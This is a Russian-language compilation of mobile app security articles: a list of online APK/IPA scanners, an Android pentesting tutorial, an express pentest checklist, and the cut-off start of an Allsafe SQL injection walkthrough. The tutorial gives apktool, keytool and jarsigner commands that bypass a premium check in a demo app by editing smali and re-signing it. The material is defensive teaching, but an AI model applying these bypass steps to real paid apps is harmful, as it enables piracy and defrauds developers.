Как найти уязвимость в приложении

Время на прочтение
4 мин

Количество просмотров 29K

Проверьте, есть ли в системе безопасности вашего мобильного приложения слабые места, и исправьте их, пока они не навредили вашей репутации.

Согласно последним исследованиям NowSecure более чем в 25% мобильных приложений есть хотя бы одна критически опасная уязвимость.

В 59% финансовых приложений для Android есть три уязвимости из списка OWASP Топ-10.

Чем больше используют мобильные телефоны, тем больше появляется мобильных приложений. В магазине приложений Apple App Store доступно более 2 миллионов приложений, а в Google Play Store — более 2,2 миллионов.

Существует множество видов уязвимости, к наиболее критичным из них относятся:

  • утечка личной или конфиденциальной информации пользователей в сети (email, учетные данные, IMEI, GPS, MAC-адрес);
  • обмен информации в сети без шифрования или с недостаточным шифрованием;
  • файл доступен для чтения или записи любым лицом;
  • выполнение произвольного кода;
  • вредоносные программы.

Если вы владелец или разработчик приложения, вы должны сделать все для обеспечения безопасности вашего мобильного приложения. Существует много инструментов для поиска уязвимости сайтов, а информация ниже поможет вам найти слабые стороны системы безопасности мобильного приложения.

В статье используются следующие сокращения:

  • APK – формат архивных файлов-приложений для Android (англ. Android Package Kit);
  • IPA – формат архивных файлов-приложений для iPhone (англ. iPhone application archive);
  • IMEI – международный идентификатор мобильного оборудования (англ. International mobile equipment identity);
  • GPS – система глобального позиционирования (англ. Global positioning system);
  • MAC – управление доступом к среде (англ. Media access control);
  • API – интерфейс программирования приложений (англ. Application Programming Interface);
  • OWASP – открытый проект обеспечения безопасности веб-приложений (англ. Open web application security project).

Инструменты для поиска уязвимости приложений Android или iOS:

  1. Ostorlab
  2. Appvigil
  3. Quixxi
  4. AndroTotal
  5. Akana
  6. NVISO
  7. SandDroid

1. Ostorlab

Ostorlab позволят проверить приложение на Android или iOS и получить подробный отчет о результатах проверки. Загрузите файл вашего приложения в формате APK или IPA и спустя несколько минут отчет о безопасности будет готов.

Максимальный размер файла для загрузки на проверку 60 Mb. Тем не менее, если размер вашего приложения превышает 60Mb, то можно связаться со специалистами Ostorlab, чтобы разместить файл через запрос API.

В основе лежат такие программы с открытым исходным кодом как Androguard и Radare2. Советую бесплатно проверить ваше мобильное приложение при помощи Ostorlab.

2. Appvigil

Найдите все пробелы в системе безопасности вашего мобильного приложения с помощью Appvigil и получите подробный отчет об уязвимости за считанные минуты.

С Appvigil вы получите не только описание возможных угроз, но и рекомендации по устранению уязвимости для быстрого решения проблемы. Никакие программы устанавливать не надо, поскольку все обрабатывается в облаке Appvigil.

После того, как вы загрузите файлы APK или IPA производится статический и динамический анализ приложения (Android/iOS), в том числе и на наличие уязвимости из списка OWASP Топ-10.

3. Quixxi

Quixxi предназначен для получения мобильной аналитики, защиты мобильных приложений и восстановления потенциальных доходов. Если вам нужно просто проверить приложение на наличие уязвимости, то загрузите файл приложения Android или iOS сюда.

Для проверки потребуется несколько минут. После завершения проверки у вас будет краткий отчет об уязвимости. Если же вам нужен полный отчет, то нужно зарегистрироваться на сайте. Это бесплатно.

4. AndroTotal

Как можно догадаться по названию, AndroTotal пригоден только для работы с приложениями на Android. AndroTotal проверяет файл APK на наличие вирусов и вредоносного кода, сверяя результаты следующих антивирусных программ:

  • McAfee;
  • TrustGo;
  • ESET;
  • Comodo;
  • AVG;
  • Avira;
  • Bitdefender;
  • Qihoo.

Если вам нужно быстро проверить APK-файлы на наличие вирусов, то AndroTotal является хорошим решением.

5. Akana

Akana — это интерактивный инструмент для анализа приложений для Android. Akana проверяет приложение на наличие вредоносного кода и отображает сведения о результатах.

Проверка бесплатная, так что попробуйте и посмотрите, нет ли в вашем Android приложении вредоносного кода.

6. NVISO

Nviso APKSCAN — это еще один удобный сетевой инструмент для проверки приложения на наличие вредоносного кода. Результаты могут быть готовы не сразу, это зависит от вашего места в очереди. Можете оставить свою электронную почту и получить уведомление, когда отчет будет готов.

Я проверил макет своего приложения с помощью Nviso и увидел, что проверяется следующее:

  • активность диска;
  • поиск вирусов;
  • сетевой трафик;
  • возможность совершения телефонного звонка, отправки SMS;
  • криптографическая активность;
  • утечка данных.

7. SandDroid

SandDroid проводит статический и динамический анализ и формирует полный отчет. Можно загрузить файл APK или zip-файл размером не более 50 Mb.

SandDroid разработан исследовательской группой Botnet и Сианьского транспортного университета. Проверяется следующее:

  • размер/хеш файла, версия SDK;
  • сетевые данные, компоненты, закодированные свойства, уязвимый API, анализ IP;
  • утечки данных, SMS, отслеживание телефонных звонков;
  • поведение, представляющее угрозу, и вероятность угрозы.

Запросите отчет и оцените безопасность вашего приложения.

Надеюсь, инструменты для проверки уязвимости помогут вам проверить безопасность мобильного приложения и устранить найденные проблемы.

Если у вас свой сайт, то возможно вас заинтересует возможность автоматической проверки сайта на наличие уязвимостей.

Надеюсь, что Вам также будет интересна возможность поиска виртуальных серверов и виртуального хостинга на Хостинг Кафе.

Дисклеймер: Не стоит переживать, если вы не знакомы с разработкой под Android и языком программирования Java. В этой статье я постараюсь обрисовать все максимально ясно и для новичков (с минимальными знаниями программирования). Так же все практические примеры утрированы для общего понимания уязвимостей. 

Для кого эта статья?

  1. Для новичков в разработке под Android.
  2. Для новичков в ремесле пентестинга Android приложений.
  3. Для владельцев Android приложений. 

Думаю, не нужно объяснять, какое множество Android приложений существует на данный момент. Большинство крупных компаний помимо веб ресурсов имеют свои Андроид приложения, которые могут стать источником угрозы, если руки злого хакера смогут это приложение взломать. О том, как взламываются и защищаются андроид приложения, мы сейчас и поговорим. 

Используемый софт:

  1. Java-bytecode-viewer;
  2. Android Studio;
  3. Apktool.

Но для дальнейшего понимания уязвимостей мы должны разобраться, как эти приложения функционируют. 

Как работают Android приложения?

Код приложения хранится в файле APK, в котором есть файл .dex с двоичным байт-кодом Dalvik. Dalvik — это формат данных, понятный для ОС Android, но нечитаемый для человека. Поэтому для работы с файлами .dex необходимо преобразовать их в читаемый для человека формат, т.е в  smali код. Если вы мало что поняли, то не волнуйтесь, по ходу статьи все встанет на свои места.

Структура приложения

Структура приложения

Больше всего нас интересуют следующие файлы: 

  1. AndroidManifest.xml

В этом файле хранятся необходимые разрешения для андроид приложения. Наверняка при первом запуске приложений вы сталкивались с тем, что приложение запрашивает доступ к геолокации, памяти, чтению смс и тому подобное. Все эти разрешения описаны в файле манифеста.

  1. MainActivity

Код для основного(главного) экрана вашего андроид приложения. Для тех, кто не особо знаком с работой андроид приложений, поясню — любое андроид приложение представляет интерфейс для взаимодействия в виде так называемых activity. Activity — это не что иное, как экран вашего приложения (экран настроек, экран регистрации, экран открытия чата и т.д).

Каждому активити соответствует свой личный Java(Kotlin) класс, который «программирует» поведение экрана. (именно поэтому выше мы можем увидеть activity_main.xml, которому и соответствует наш MainActivity)

  1. strings.xml

В этом файле хранятся, неожиданно, строки. Но возникает резонный вопрос, а зачем это вообще нужно?

Ответ прост, допустим у нас есть приложение, которое выполняет функцию энциклопедии, где в коде прописаны все описания для всех разделов энциклопедии, но согласитесь, хранить строки огромных размеров в коде приложения не совсем хорошо, ибо это банально плохо читается, поэтому файл strings и используется для хранения строк, т.к это банально удобно. 

Как выглядит отреверсированный код? 

Напишем самое простое приложение, которое складывает два числа и выводит результат на экран: 

Как выглядит отреверсированный код

А теперь посмотрим на это приложение с точки зрения хакера, используя java-bytecode-viewer: 

java-bytecode-viewer

java-bytecode-viewer

java-bytecode-viewer 

Как вы можете заметить, наш процесс реверсинга завершился успешно, и мы видим практически изначальный исходный код. 

Чувствительные данные, хранящиеся открытым текстом

Давай зададим себе вопрос: за чем в первую очередь охотится хакер? Верно, пароли, API ключи и прочая чувствительная информация.

Зачастую разработчики банально забывают обфусцировать (запутать) чувствительные данные в коде.

Так же могут возникнуть проблемы, если приложение сообщается с внутренним апи сервиса, например, у нас есть крупное приложение, которое стало прототипом крупного сайта, взаимодействие с бэкэндом которого может происходить с помощью апи ключей или специально сформированных запросов, которые могут храниться в коде открытым текстом.

Мы уже видели, что хакер может получить строки с открытым текстом, при вскрытии приложения.

Рассмотрим пример участка кода приложения «Погода».

пример участка кода приложения

Как вы могли увидеть, в коде открытым текстом хранится апи ключ.

Давайте попробуем его вытащить при помощи bytecode-viewer.

Попробуем вытащить апи ключ

Как вы можете наблюдать, в реверсированном коде мы четко видим API ключ, который хранится открытым текстом, и достать его совершенно не составило никакого труда.

Стоит понимать, что вместо API ключа там может быть криво составленный запрос на бекенд, об уязвимостях которого мы поговорим ниже. 

Рекомендации по безопасности:

  1. Обфусцируйте (запутывайте) строки.
  2. Не задавайте строки с чувствительными данными явно в коде. 

Уязвимости бекенда

Эта уязвимость вытекает из уязвимости выше.

Если хакер каким-то образом смог перехватить трафик между приложением и сервером или же прочитать запросы к внутренней  инфраструктуре в строках кода, то он может начать атаковать веб сервер, что может привести к катастрофическим последствиям.

Поэтому, разрабатывая андроид приложения, не забывайте про защиту бэкенда, на который стучит ваше приложение. 

Рекомендации по безопасности:

  1. Регулярно доставляйте обновления ПО на сервера, к которым обращается ваше приложение.
  2. Регулярно проводите аудиты внутренней инфраструктуры, с которой общается приложение. 

Проблемы с криптографией 

Если же вы решили шифровать ключи и пароли, которые могут храниться на устройстве, стоит выбирать стойкое шифрование данных.

Например, у нас есть внутренняя база данных, важные файлы для работы приложения, логи и т.д. По велению программиста все это может храниться на устройстве юзера. Допустим, хакер знает, какие интересные файлы могут быть на устройстве у цели, значит, он напишет вредонос, который захочет украсть эти самые файлы.

И тут возникает проблема с шифрованием этих файлов, ведь если эти файлы плохо зашифрованы, то хакеру не составит труда эти файлы привести в начальный вид и начать атаку на пользователя. 

Рассмотрим пример с реализацией слабого решения 

  1. Считываем ввод пароля.
  2. Кодируем его в Base64. (который декодируется за секунды)
  3. Записываем в файл на устройстве. 

Код: 

пример с реализацией слабого решения 

Вот так выглядит интерфейс: 

Вот так выглядит интерфейс

Теперь давайте посмотрим в файлы приложения: 

посмотрим в файлы приложения

Если декодировать значение файла, мы получим строку «password», которая и была введена в приложении.

Так что же будет самым хорошим решением данной проблемы?

Банально, использование криптостойких алгоритмов шифрования. Например, тот же RSA. Не стоит использовать: RC4, MD4, MD5, SHA1. Если хэши используются для хранения паролей, следует использовать хэши, устойчивые к брутфорсу, с солью. 

Так же желательно обфусцировать весь код, дабы усложнить жизнь хакеру, но стоит помнить про APKiD, который может детектировать обфускаторы, алгоритмы которых может узнать хакер, чтобы получить более читаемый код вашего приложения.

Рекомендации по безопасности:

  1. Используйте криптостойкие алгоритмы.
  2. Если вы используете свой алгоритм обфускации или шифрования данных, то сделайте его логически сложным, что хакер не мог его распутать по реверснутому коду.
  3. Избегайте хранения ключей шифрования в коде. 

Примитивные логические уязвимости

Давайте рассмотрим логические уязвимости на примере приложения, которое просит купить премиум функции.

Вот как оно выглядит: 

Примитивные логические уязвимости

На самом деле в этом приложении два экрана, тот, который мы видим без купленного премиума, и второй экран, который скрыт от нас: 

второй экран, который скрыт от нас

Теперь давайте взглянем под капот программы, чтобы понять логику получения премиума: 

У нас есть три класса. (MainActivity, PremiumActivity, CheckPremium)

CheckPremium класс реализует следующую логику: 

CheckPremium класс реализует следующую логику

Как вы могли заметить, метод checkPremiumInDatabase всегда возвращает ноль, что в булевой логике соответствует значению «ложь».

Естественно, в реальном приложении в этом методе был бы реализован примерно такой алгоритм:

  1. Найти залогиненного пользователя в базе данных.
  2. Найти столбец в базе данных, отвечающий за наличие премиума, приобретенного, например, через официальный сайт.
  3. Отдать в значение возврата 1 или 0. (Премиум куплен/Не куплен) 

После записи нуля в значение метода идет проверка в MainActivity: 

проверка в MainActivity

В этом участке кода идет проверка значения метода checkPremiumInDatabase, если он равен 1, то вызывается второе активити, если нет, то ничего не происходит. 

А теперь давайте и сделаем то, что описано в этой главе, переделаем приложение так, чтобы оно при запуске всегда открывало нам активити со вторым экраном:

  1. Впишем в консоль команду
java -jar apktool_2.6.0.jar -r d app-debug.apk

Данная команда позволит декомпилировать наше приложение в вид smali кода, который мы сможем поменять через обычный текстовый редактор, чтобы изменить логику приложения (в bytecode-viewer нельзя изменить smali, поэтому будем это делать при помощи apktool). 

  1. Изменим значение возврата функции checkPremiumInDatabase

Сменим с нуля на единицу. (что в булевой алгебре означает «истина», ведь нужно вернуть именно единицу, дабы пройти проверку на премиум) 

Изменим значение возврата функции checkPremiumInDatabase

Но давайте для ясности поймем, что именно и где нужно менять в smali? (ведь он в разы менее читабелен, чем декомпилированный код)

В рамках данного примера мы вновь должны вернуться в декомпилированный код данной функции: 

декомпилированный код данной функции

Мы видим по этому скриншоту, что логика проверки премиума располагается с 4 по 7 строку кода.

А теперь вновь посмотрите на участок кода smali, где мы поменяли значение с нуля на единицу. Вверху мы видим вполне понятную надпись «.line7», которую в более крупном проекте мы бы могли использовать как зацепку для обнаружения слабого места программы. 

Итак, мы поменяли значение возврата с «0» на «1», сохранили. Теперь нужно его пересобрать:

java -jar apktool_2.6.0.jar b app-debug -o modifiedAPK.apk 

Осталось только запустить, но… Приложение не запустится. 

  1. Подпись приложения

Любое приложение перед запуском должно быть подписано, но когда приложение меняется, меняется и подпись, а вот уже на такое наша система Android не готова, приложение должно быть подписано заново. 

Для начала создадим ключ для подписи:

keytool -genkey -keystore keys.keystore -storepass password -alias keycodeby -keypass password -dname "CN=AndroidIB O=Codeby C=RU" -validity 10000 

Теперь подпишем наше приложение этим ключом

jarsigner.exe -keystore keys.keystore -storepass password -keypass password C:UsersАдминистраторDesktopmodifiedAPK.apk keycodeby 

Теперь подпишем наше приложение этим ключом

  1. Запуск измененного приложения 

Запуск измененного приложения

Итак, второй экран запущен и примитивная логика проверки премиума не отработала должным образом.

Рекомендации по безопасности

  1. Если ваше приложение имеет премиум функции или другой платный контент, сделайте сложную логическую проверку, которую будет невозможно угадать. (либо реализуйте отстук у приложения на сервер, где хранится информация о покупке премиума, не записывая значения о покупке в сам код) 

Небезопасное хранение данных 

Излишние разрешения приложения, описанные в манифесте могут привести к краже и манипуляциям с данными, если на целевое устройство попадет вредоносное приложение. 

Настройка манифеста, где присутствует MODE_WORLD_READABLE и MODE_WORLD_WRITEABLE может привести к краже конфиденциальных данных с устройства. Но почему так?

MODE_WORLD_READABLE и MODE_WORLD_WRITEABLE — это настройки в файле манифеста, которые позволяют другим приложениям читать файлы вашего приложения. Да, во многих ситуациях это может быть полезным и даже необходимым, но тут возникает другая проблема — вредоносы.

Если вредонос заточен на кражу данных приложений с устройства, то с этими настройками вирус спокойно украдет данные.

Android предоставляет возможность каждому приложению сохранять XML файлы по пути:

/data/data/имя_пакета/shared_prefs/имя_пакета

Иногда в этой папке хранятся конфиденциальные данные открытым текстом. 

Также ОС Android позволяет каждому приложению сохранять базы данных sqlite по пути:

/data/data/имя_пакета/databases/имя_пакета

Эту папку необходимо проверить на наличие файлов, хранящихся открытым текстом.

Также стоит упомянуть, что пароль от базы данных sqlite, хранящейся на устройстве, может располагаться в коде приложения, поэтому стоит проверить следующий путь в памяти устройства:

/data/data/the.package.name/databases

Даже если БД зашифрована, утечка пароля через код также является уязвимостью.

Конечно, стоит проверить файл strings.xml, где разработчики случайно могут оставить чувствительные данные в виде паролей, ключей и т.д. 

чувствительные данные в виде паролей

Рекомендации по безопасности:

  1. Избегайте лишних разрешений в файле манифеста.
  2. Никогда не храните чувствительные данные в файле strings.xml.
  3. Не храните пароль от БД в виде открытого текста в коде приложения.
  4. Шифруйте файлы баз данных. 

Использование Журналов сбоев для поиска утечек

Некоторые приложение реализуют функцию отправки журналов сбоев на удаленные сервера, чтобы сотрудники компании и разработчики могли закрыть какую-то проблему. Эти журналы должны передаваться по SSl соединению, чтобы вредоносное приложение не смогло прочитать эти журналы, в которых может быть конфиденциальная информация. Если журналы постоянно хранятся на устройстве, то в процессе разработки вам обязательно нужно следить за тем, чтобы в этих журналах не оказалось лишнего, в виде паролей или ключей.

Рекомендации по безопасности:

  1. Обязательно используйте SSL для передачи любых данных.
  2. Следите за тем, что записывается в журналы сбоев. 

Общие рекомендации, не вошедшие в пункты статьи:

  1. Реализуйте проверку на эмулятор, в котором, скорее всего, и будет запущено ваше приложение. (особенно касается банковских приложений)
  2. Если в приложении есть ввод чувствительных данных (снова возьмем в пример банковские приложения), то создайте собственную клавиатуру для ввода данных. Это поможет защититься от атак с подменой клавиатуры.
  3. В файле манифеста запретите создание резервной копии данных при подключении мобильного устройства к компьютеру, прописав android:allowBackup в значение false.
  4. Используйте черное фоновое изображение, которое будет перекрывать экран приложения во время навигации по недавно запущенным приложениям, если в вашем приложении есть чувствительная информация, т.к вредонос может незаметно сделать скриншот.
  5. Реализуйте ограничения на посылку запросов для входа в аккаунт через приложение.
  6. Обфусцируйте названия классов и методов приложения после сборки приложения дабы запутать хакера при проведении реверс инжиниринга. (для этого можно использовать программу ProGuard)

В идеальном мире никто не проверил бы безопасность кода лучше тех, кто потратил дни и ночи на его написание. В нашем мире у разработчиков нет времени и опыта для такого аудита, и им занимаются отдельные люди — пентестеры.

Однако с хорошей инструкцией даже джуниор может сам провести базовый пентест за 1–2 дня.

Специалист по тестированию на проникновение компании BI.ZONE Олег Петраков расскажет, какими инструментами пользоваться и на что обращать внимание, чтобы быстро найти несложные уязвимости в мобильном приложении. Гайд поможет раньше узнавать о проблемах в коде, получать меньше правок на ревью и следить за безопасностью продукта, если никто больше этим не занимается.

Дисклеймер про термины Проверку приложения на уязвимости, которую в быту называют пентестом, эксперты по кибербезопасности назвали бы анализом защищенности. Пентест для них — другая задача: доказать, что в приложении есть хотя бы одна уязвимость, из-за которой его можно взломать. Однако наша статья написана не для экспертов по кибербезопасности, поэтому мы используем слово «пентест» в бытовом смысле.

Олег Петраков

Олег Петраков


специалист по тестированию на проникновение компании BI.ZONE

Готовим инструменты

На некоторых этапах экспресс-пентеста потребуются специальные инструменты. Большую часть из них вы, скорее всего, уже и так используете:

  • для iOS — Finder, iTunes, iMazing, Console.app;
  • для Android — adb;
  • для обеих платформ — инструменты для отладки HTTP- и HTTPS-трафика вроде Fiddler или Charles.

Если работаете с Android, еще пригодится бесплатная утилита Android Backup Extractor.

Из специфически пентестерского арсенала вам хватит единственного инструмента — Mobile Security Framework (MobSF). Это автоматизированный универсальный фреймворк, который помогает проводить аудит безопасности мобильных приложений. Загрузив в него ipa-образ для iOS или apk-образ для Android, вы сможете провести динамический и статический анализ сборки. MobSF полезен и для целей безопасной разработки: к примеру, с помощью раздела Files удобно отслеживать, не попадают ли в релизную сборку лишние файлы.

Следим за лишней информацией в релизных сборках

Для начала проверим, не осталось ли в релизной сборке отладочной информации и журналов работы приложения.

В случае отладочной информации нас интересуют такие артефакты, как адреса тестовых стендов и других компонентов, API-ключи тестовых сервисов (например, аналитики) или сообщения, которые использовались при отладке приложения.

Их нежелательно оставлять по нескольким причинам.

  • Во-первых, с отладочной информацией атакующему будет легче изучить логику работы приложения на стороне клиента.
  • Во-вторых, изучив тестовый стенд — узнав, какие сервисы есть за фронтом на продакшне, какие базы данных используются на стороне сервера и пр. — атакующий может получить сведения для построения векторов атаки, обнаружения и эксплуатации уязвимостей.

План действий. Убедитесь, что в вашем приложении такой информации не остается. В этом поможет фреймворк MobSF. Загрузите в него релизную сборку вашего приложения и сделайте следующее:

  • для iOS-клиента — просмотрите все строки, определенные в ipa-образе, в разделе Scan Options / View Strings;
  • для Android-клиента — проверьте строки в разделе Reconnaissance / Strings, а также обратите внимание на раздел Security Analysis / Code Analysis.

В случае с журналами работы приложения мы проверяем, что логи, выручавшие на этапе тестирования, не станут подспорьем для атакующего.

Само по себе журналирование трудно проэксплуатировать. Однако, как и отладочная информация, логи и строковые константы помогают злоумышленнику изучать работу приложения: дают идеи, за что зацепиться при поиске уязвимостей, позволяют расширить поверхность атаки.

План действий. Воспользуйтесь инструментами Console.app для iOS и adb для Android, чтобы увидеть, включено ли логирование в релизной сборке приложения и что туда попадает.

Чтобы логи не уходили в релизную сборку, лучшее решение — грамотно спроектировать класс Logger. Если же исправление нужно быстро, настройте в скриптах релизной сборки удаление методов логирования из кода. Для iOS-приложений это делается через препроцессорный макрос, а для Android — с помощью применения правил ProGuard.

Проверяем ограничение на отправку СМС

Следующим шагом ищем уязвимость к SMS Abuse: она одновременно и очень распространена, и весьма критична.

Это важно для приложений, в которых часть действий завязана на СМС: двухфакторная аутентификация, восстановление пароля, перевод денег и так далее.

Сообщения закупают у провайдера пакетами: например, оплачивают сразу миллион СМС в месяц. При этом на стороне сервера обычно нет ограничений на отправку СМС за единицу времени. Если атакующий запросит миллион сообщений, сервер их все отправит и исчерпает оплаченный пакет. В итоге разработчик потеряет деньги, а в худшем случае еще и клиентов: пока СМС не приходят, пользователи не могут решать свои задачи и переключаются на другой сервис.

План действий. Вспомните все эндпоинты, где операции требуют отправки СМС, и попробуйте отправить сразу по 20 запросов к каждому с одного IP-адреса или от одного пользователя. Если сообщения придут — система подвержена этой атаке.

Полностью защититься от атаки не получится, но можно сделать ее экономически невыгодной для злоумышленника. Для этого введите капчу при множественных запросах для одного пользователя. А еще хорошо, когда неаутентифицированный пользователь не может запрашивать СМС (кроме как для входа, конечно).

Проводим ревизию библиотек

Шаг короткий, но важный: надо убедиться, что ваши фреймворки и библиотеки собраны со всеми мерами безопасности. В противном случае злоумышленнику будет легче эксплуатировать ряд бинарных уязвимостей (пусть и сложных и редких).

План действий. С помощью MobSF посмотрите, какие библиотеки собраны неправильно и чего не хватает: для этого зайдите в раздел Security Analysis / Binary Analysis.

Исследуем компоненты для работы с внешними ссылками

Внешние ссылки (App Links, Deep Links, Universal Links) могли вам потребоваться по разным причинам:

  • чтобы обрабатывать возвращаемые значения при OAuth-авторизации и других подобных протоколах;
  • чтобы пользователям было удобно работать с вашим приложением и другими системами — браузерами, почтовыми клиентами и пр.;
  • чтобы вы могли получать информацию для аналитики, и так далее.

Однако при встраивании компонентов для работы с внешними ссылками надо помнить: по отношению к другим приложениям эти компоненты всегда открыты. Следовательно, атакующий может отправлять им на обработку вредоносное содержимое. А это путь к обходу бизнес-логики приложения.

План действий. Дать здесь общую инструкцию не получится: все зависит от конкретной платформы и технологии. Но в целом шаг сводится к тому, что вам нужно пройти в коде по всем компонентам, обрабатывающим данные из внешних ссылок, и удостовериться, что у вас есть проверки на соответствие этих данных ожидаемому формату.

При встраивании компонентов для работы с App Links отдельно убедитесь, что ваш сервер сконфигурирован для проверки подписи вашего приложения (подробнее об этом — в инструкциях для разработчиков на iOS и на Android). Иначе ссылку могут перехватить.

Наконец, если ваше приложение обрабатывает и Deep Links, и App Links, определите для них разные компоненты: в противном случае нивелируются собственные меры безопасности, которые есть у App Links.

Проверяем другие открытые компоненты

В Android-клиентах специально определяют открытые компоненты — activity, сервисы и другие компоненты, которые могут обрабатывать запросы от других приложений, установленных на том же устройстве.

С точки зрения злоумышленника, каждый открытый компонент — это дополнительная поверхность атаки на ваш продукт. Из-за этого специалисты по кибербезопасности рекомендуют придерживаться минимализма и не множить открытые компоненты без необходимости.

План действий. Только вы можете решить, какие компоненты вам действительно важны для работы с другими приложениями и компонентами ОС. А увидеть их все в одном окне можно с помощью MobSF — для этого зайдите в раздел Security Analysis / Manifest Analysis.

Ищем недочеты в работе с компонентом WebView

Этот шаг актуален для приложений, которые задействуют WebView:

  • отображают с его помощью документы — условия использования приложения, документы о согласии обработки персональных данных и пр.;
  • проводят авторизацию через сторонний сайт, например Google, Apple, «Яндекс»;
  • целиком (или отдельный модуль) написаны на фреймворках наподобие React Native.

Для WebView нужны отдельные меры безопасности, а в некоторых ситуациях лучше вообще обойтись без таких компонентов. Сейчас все разберем.

План действий. Если вам нужно показать PDF-документ или статический HTML, не стоит добавлять компонент WebView. Лучше воспользоваться штатными возможностями системы: на iOS — UIDocumentInteractionController, на Android — ACTION_VIEW. Так ваш документ откроется в приложении, которое пользователь чаще всего использует для подобных задач. Это удобнее, проще и безопаснее.

Если задача чуть шире — например, вы показываете отчет, который наполняется динамически — WebView уместен. Главное — убедитесь, что при создании этого компонента вы отключили исполнение JavaScript-кода. Атакующий, как правило, не может повлиять на эти данные, однако отключить поддержку JavaScript-кода стоит из принципа минимальных привилегий.

Для сложных задач предпочтительнее использовать:

  • на iOS — WKWebView-компонент. SFSafariViewController тоже допустим, но он менее универсален: в нем нельзя отключить обработку JavaScript-кода при необходимости;
  • на Android — Chrome Custom Tabs вместо WebView. Если же вы используете WebView, включайте поддержку нескольких окон. Это нужно, чтобы защитить пользователей на старых версиях ОС от недавно найденной уязвимости CVE-2020-6506 (если кратко, то это выполнение произвольного JavaScript-кода в документе верхнего уровня).

Изучаем данные в резервных копиях телефона

Если атакующий получит доступ к резервной копии телефона, он завладеет и всей информацией, которую вы туда сохранили. Опасен ли этот сценарий и оправдан ли риск, зависит от приложения. Но точно стоит обдумать эту перспективу, прежде чем встраивать создание резервных копий. Важно ли вам, чтобы данные вашего приложения могли быть восстановлены на другом телефоне? А вашему пользователю это необходимо?

План действий. Чтобы принять решение, проверьте, какую информацию приложение хранит в резервной копии. На iOS проще всего использовать обычный Finder (или iTunes), на Android — adb. Просмотреть содержимое резервной копии можно с помощью программ iMazing и Android Backup Extractor соответственно.

Ориентируемся на лучшие практики

Заключительный шаг проверки посвятим трем так называемым best practices. Их отсутствие само по себе не говорит об уязвимостях — но если встроить эти практики, защищенность пользователя сильно вырастет. А встраивать их несложно.

SSL Pinning

Без SSL Pinning, то есть механизма привязки сертификата сервера, приложение будет использовать политику проверки сертификата сервера по умолчанию. Это небезопасно: подмена точки доступа и немного социальной инженерии — и ваша разработка станет уязвима к атаке типа «человек посередине» (MitM). В результате такой атаки злоумышленник сможет читать и даже изменять сообщения, которые передаются между мобильным приложением и сервером: конфиденциальность обеспечить не выйдет.

Если решите встроить механизм, не ограничивайтесь HTTP-соединениями. SSL Pinning настраивается вообще для любого протокола, обернутого в TLS: веб-сокетов, XMPP и так далее.

План действий. Чтобы уточнить, настроен ли у вас SSL Pinning, и на iOS, и на Android потребуются одинаковые инструменты — Fiddler, Charles и подобные программы для отладки HTTP- и HTTPS-трафика. Но схема работы будет немного отличаться.

  • На iOS достаточно настроить перенаправление трафика с телефона на HTTP-прокси и установить на устройство сертификат для HTTP-прокси. Если трафик приложения будет зарегистрирован на стороне HTTP-прокси, значит, у вашего клиента SSL Pinning не настроен или настроен неправильно.
  • На Android предварительно надо добавить в манифест network-security-config с настройкой доверия пользовательским сертификатам. После этого выполняйте ту же проверку, что и для iOS.

Размытие изображения в фоне

Применять размытие к приложению в фоне (использовать заставку) — рекомендация, которая подходит не всем. С одной стороны, размытие ухудшает опыт пользователей: им будет труднее переносить информацию в другое приложение, например браузер или блокнот. С другой стороны, размытие не даст захватить изображение в фоне не только пользователю, но и другим приложениям, в том числе вредоносным.

Для графического редактора этот механизм безопасности вряд ли будет актуален, а вот приложению для инвестиций его стоит рассмотреть.

План действий. Решить, подходит вам эта практика или нет, помогут ответы на два вопроса:

  • Нужно ли пользователю одновременно работать с вашим и другими приложениями?
  • Отображает ли ваше приложение конфиденциальную информацию, например финансовые транзакции?

А если не помните, есть ли у вас размытие, самый быстрый способ это проверить — встать на место пользователя: сверните приложение и перейдите к отображению всех запущенных приложений.

Аутентификация на телефоне

Этот пункт касается использования криптографии при аутентификации, поэтому актуален только для приложений на Android: на iOS механизм работает совсем иначе.

Если в вашем приложении есть аутентификация по отпечатку пальца или графическому ключу, убедитесь, что у вас есть привязка к BiometricPrompt.CryptoObject. С ней вы будете пользоваться всеми возможностями криптографии на Android: при успешной локальной аутентификации приложение будет получать доступ к ключу шифрования, на котором расшифровывается объект, соответствующий сессии пользователя (например, refresh-токен).

План действий. Смотрите пример из мануала для Android-разработчиков: тут в деталях показано, как встроить привязку к CryptoObject.

Резюмируя

Если инструкция вдохновила вас на подвиги, полистайте гайд OWASP по пентесту мобильных приложений. Он понятно и в деталях рассказывает, как проверять безопасность продуктов под iOS и Android.

Но пентест не серебряная пуля. Лучшая защита — у тех приложений, которые создаются в рамках подхода security by design: когда безопасность берут в расчет с самого начала разработки.

А как бы вы закрыли перечисленные уязвимости? Предлагайте примеры в комментариях и советуйте, какие еще проверки стоит добавить в список.

Allsafe — это приложение, намеренно спроектированное небезопасным. Для чего это нужно? Оно предназначено для обучения поиску различных уязвимостей. В отличие от других подобных приложений для Android, оно использует современные библиотеки и технологии. Меньше похоже на CTF и больше похоже на реальное приложение. В этом посте мы разберем его уязвимости с точки зрения двух подходов: статического и динамического тестирования безопасности.

1. Введение

Проверить мобильное приложение на уязвимости можно методом статического тестирования безопасности (Static Application Security Testing). SAST использует метод «белого ящика», то есть основывается на наличии исходного кода. Так приложение можно проанализировать без запуска и тестировать отдельные фрагменты кода на любом этапе развития проекта. В случае отсутствия доступа к исходному коду есть возможность осуществить тестирование динамически — DAST является методом «черного ящика» и позволяет проверить уже запущенное приложение.

Давайте разберем 3 самых интересных и наглядных случая из Allsafe. Благодаря открытому исходному коду есть возможность рассмотреть его уязвимости с точки зрения двух подходов: статического и динамического тестирования безопасности.

2. Уязвимость «Внедрение SQL-кода» (SQL Injection)

Атаки типа «Внедрение» (Injection) занимают третье место в рейтинге уязвимостей веб-приложений OWASP Top 10 2021. Если приложение работает с несколькими учетными записями пользователей на одном устройстве или в нем есть платный контент, инъекционные атаки, такие как SQL-инъекции, могут нанести ему серьезный ущерб.

Общий смысл уязвимости типа SQL Injection заключается в том, что написанный разработчиком SQL-запрос злоумышленник может видоизменить и выполнить непредусмотренную операцию.

2.1. Статический анализ

Разберем уязвимость по частям: в точке вхождения злоумышленник может ввести свои данные, а в точке выполнения происходит непосредственное обращение к базе данных с запросом, составленным на основе ввода.

Выясним, уязвимо ли приложение для внедрения. Для этого определим источники ввода и проверим, что для предоставляемых пользователем или приложением данных осуществляется достаточная валидация до соответствующей точки выполнения.

Теперь перейдём к конкретному примеру. Рассмотрим файл allsafe/app/src/main/java/infosecadventures/allsafe/challenges/SQLInjection.kt из уязвимого приложения Allsafe:

```
